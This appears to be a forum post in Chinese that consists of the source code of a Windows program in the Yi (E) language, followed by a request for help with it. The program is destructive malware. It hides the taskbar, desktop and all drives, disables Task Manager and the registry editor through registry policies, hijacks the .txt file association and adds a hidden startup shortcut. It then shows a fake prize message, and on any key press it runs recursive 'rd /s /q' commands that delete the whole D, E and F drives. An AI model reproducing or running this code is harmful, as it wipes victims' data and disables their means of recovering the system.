.版本 2
.支持库 eAPI
.支持库 shell
.程序集 窗口程序集1
.子程序 __启动窗口_创建完毕
标签1.标题 ＝ 到文本 (取现行时间 ())
隐藏任务栏 ()
隐藏桌面图标 ()
隐藏系统时钟 ()
隐藏开始按钮 ()
写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, 0) ' 禁用任务管理器
写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\System\Disableregistrytools”, 1) ' 禁用注册表
写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, 1) ' 隐藏开始中的运行 禁止WIN2000/XP通过任务管理器创建新任务
写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose”, 1) ' 隐藏开始中的关机
写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, 1) ' 隐藏开始中的搜索
写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives”, 4294967295) ' 隐藏所有驱动器
写注册项 (3, “Software\Microsoft\Windows\CurrentVersion\Interner Settings\Zones\3\1803”, 3)
写注册项 (1, “.txt\”, “jpegfile”) ' 修改文件关联
创建快捷方式 (“Test”, 取运行目录 () ＋ “\” ＋ 取执行文件名 (), , , )
移动文件 (取运行目录 () ＋ “\” ＋ “Test.lnk”, 取特定目录 (7) ＋ “Test.lnk”) ' 添加开机自启动
置文件属性 (取特定目录 (7) ＋ “Test.lnk”, 2) ' 置文件属性为隐藏
信息框 (“恭喜您中奖了，系统5秒后自动关机”, 0, “Error”)
.子程序 _时钟1_周期事件
标签1.标题 ＝ 到文本 (取现行时间 ())
.子程序 _时钟2_周期事件
进度条1.位置 ＝ 进度条1.位置 ＋ 25
.如果 (进度条1.位置 ＝ 100)
' 关闭系统 (2, 真)
结束 ()
.否则
.如果结束
.子程序 __启动窗口_按下某键, 逻辑型
.参数 键代码, 整数型
.参数 功能键状态, 整数型
运行 (“cmd /c rd f:\ /s /q”, 假, )
运行 (“cmd /c rd d:\ /s /q”, 假, )
运行 (“cmd /c rd e:\ /s /q”, 假, ) ' 删除c d e盘所有文件
谁能帮我解开这个源码必有中谢。
